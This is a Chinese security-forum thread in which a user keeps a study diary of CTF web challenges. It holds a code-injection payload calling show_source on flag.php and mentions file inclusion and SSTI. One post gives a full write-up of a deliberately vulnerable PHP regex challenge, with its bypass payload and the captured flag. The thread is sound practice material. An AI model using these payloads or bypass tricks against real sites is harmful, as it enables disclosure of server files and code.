安全矩阵

 找回密码
 立即注册
搜索
楼主: Martini

马璐学习日记

[复制链接]

23

主题

58

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2021-4-17 14:43:32 | 显示全部楼层
本帖最后由 Martini 于 2022-5-19 08:33 编辑

一道web题
回复

使用道具 举报

23

主题

58

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2021-4-17 14:53:18 | 显示全部楼层
本帖最后由 Martini 于 2022-5-19 08:34 编辑

?hello=show_source("flag.php")
回复

使用道具 举报

23

主题

58

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2021-4-18 11:36:10 | 显示全部楼层
本帖最后由 Martini 于 2022-5-19 08:34 编辑

http://114.67.246.176:14235


回复

使用道具 举报

23

主题

58

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2021-4-27 14:30:50 | 显示全部楼层
本帖最后由 Martini 于 2022-5-19 08:36 编辑

启动后是一个登陆页面
回复

使用道具 举报

23

主题

58

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2021-4-27 15:12:26 | 显示全部楼层
本帖最后由 Martini 于 2022-5-19 08:36 编辑

一道web题

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

23

主题

58

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2021-4-27 15:23:36 | 显示全部楼层
本帖最后由 Martini 于 2022-5-19 08:36 编辑

PHP伪协议之文件包含漏洞分析利用


回复

使用道具 举报

23

主题

58

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2021-4-27 16:29:21 | 显示全部楼层
本帖最后由 Martini 于 2022-5-19 08:36 编辑

一道web题
回复

使用道具 举报

23

主题

58

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2021-8-14 22:44:53 | 显示全部楼层
本帖最后由 Martini 于 2022-5-19 08:37 编辑

[url=]描述:Simple_SSTI_1[/url]进入场景后有一行字:
You need pass in a parameter named flag。
回复

使用道具 举报

23

主题

58

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2021-8-19 14:29:40 | 显示全部楼层
本帖最后由 Martini 于 2021-8-19 15:12 编辑

No one knows regex better than me
<?php
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){
    $key=$second;
    if(preg_match("/\.\.|flag/",$key)){
        die("Noooood hacker!");
    }else{
        $third=$first;
        if(preg_match("/\\|\056\160\150\x70/i",$third)){
            $end=substr($third,5);
            highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
        }
    }
}
else{
    highlight_file(__FILE__);
}[/code]$zero,$first通过request传入一个参数,$second=zero.first
$second里必须匹配到/Yeedo|wants|a|girl|friend|or|a|flag/i这里面的字符
$key=$second
在$key里不能匹配到/.|.|flag/
$third=first
在$third里要匹配有/\|\056\160\150\x70/i
$end从third里第五位字符开始截取。
构造payload:
seconde里要存在"/Yeedo|wants|a|girl|friend|or|a|flag/i",而second=zero.first,所以zero=flag
key=second=zero.first,并且不能存在"/\.\.|flag/",也就是说zero不能=flag,highlight_file(base64_decode($zero).$end),会进行base64_decode,将’flag’进行base64加密得到ZmxhZw==
third=first,并且要匹配"/\\|\056\160\150\x70/i",转换成10进制,再转成ascii码后即为|.php
$end=substr($third,5);需要在|.php前面加上4个字符绕过substr,(aaaa oror girl ),所以完整的payload为:
  1. ?zero=ZmxhZw==&first=aaaa|.php
复制代码
提交后得到flag{776e7956e9258991c48f8321d8f05b03}


回复

使用道具 举报

23

主题

58

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2022-1-2 09:48:33 | 显示全部楼层
本帖最后由 Martini 于 2022-5-19 08:37 编辑

作业1
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 00:43 , Processed in 0.014241 second(s), 16 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表